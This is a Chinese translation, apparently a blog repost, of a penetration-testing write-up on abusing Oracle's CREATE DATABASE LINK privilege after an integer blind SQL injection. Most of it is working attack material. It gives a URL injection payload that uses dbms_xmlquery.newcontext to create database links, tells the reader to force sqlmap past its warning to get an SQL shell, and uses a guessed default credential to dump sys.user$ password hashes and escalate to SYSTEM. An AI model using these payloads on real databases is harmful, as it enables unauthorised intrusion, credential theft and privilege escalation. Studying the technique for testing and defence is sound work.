[翻译]利用Oracle’s CREATE DATABASE LINK提权

原文地址: http://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/
Oracle数据库(以及其他数据库)提供创建连接到远端数据库服务器的database link功能。可以在远端的数据库上运行数据,并且返回结果。类似MS-SQL的Openrowset/Openquery特征。
引用

CREATE DATABASE LINK local
   CONNECT TO USERNAME IDENTIFIED BY PASSWORD
   USING 'ORCL_SID'


整型盲注
1. 通过BurpPro
2. 不能使用sqlmap
TIP1这通常十次有九次成功,但是如果原本的id=5不返回任何记录,你将错过SQLi。所以为了返回记录,可以添加"or 1=1"
sqlmap将会提示:
引用

"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"

忽略警告,选择Y继续,接着SqlMap将会继续工作,你将会得到一个sql shell以及提取你希望的任何东西

接下来发现数据库有这些权限:
引用

select privilege from session_privs [17]:
  • CREATE SESSION
  • UNLIMITED TABLESPACE
  • CREATE TABLE
  • CREATE DATABASE LINK

  • TIP2:如果你有CREATE DATABASE LINK权限,你可以在SQLi中暴力破解/猜测user,如果成功,那么可以使用那个user来query
    url如下:
    引用
    http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null


    经过几次尝试,我们获得user dbsnmp的默认口令dbsnmp,我们以dbsnmp创建一个link
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual

    dbsnmp用户有“Select ANY Dictionary”权限,可以允许你读sys.user$中的密码hash
    现在我们读取密码hash:
    引用

    sql-shell>select password from sys.user$@link2
  • 286E1EA8F2CFD262
  • 45B1C0C3BB1D853C
  • 4A3BA55E08595C81
  • ....

    dbsnmp用户只有读取hash的权限,没有dba的角色。既然我们拥有了system用户的hash,我们现在可以破解,然后使用system user权限来创建hash:
    引用
    sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual

    现在我们可以使用系统权限来执行任何query了。

    猜你喜欢

    转载自j4s0nh4ck.iteye.com/blog/2196980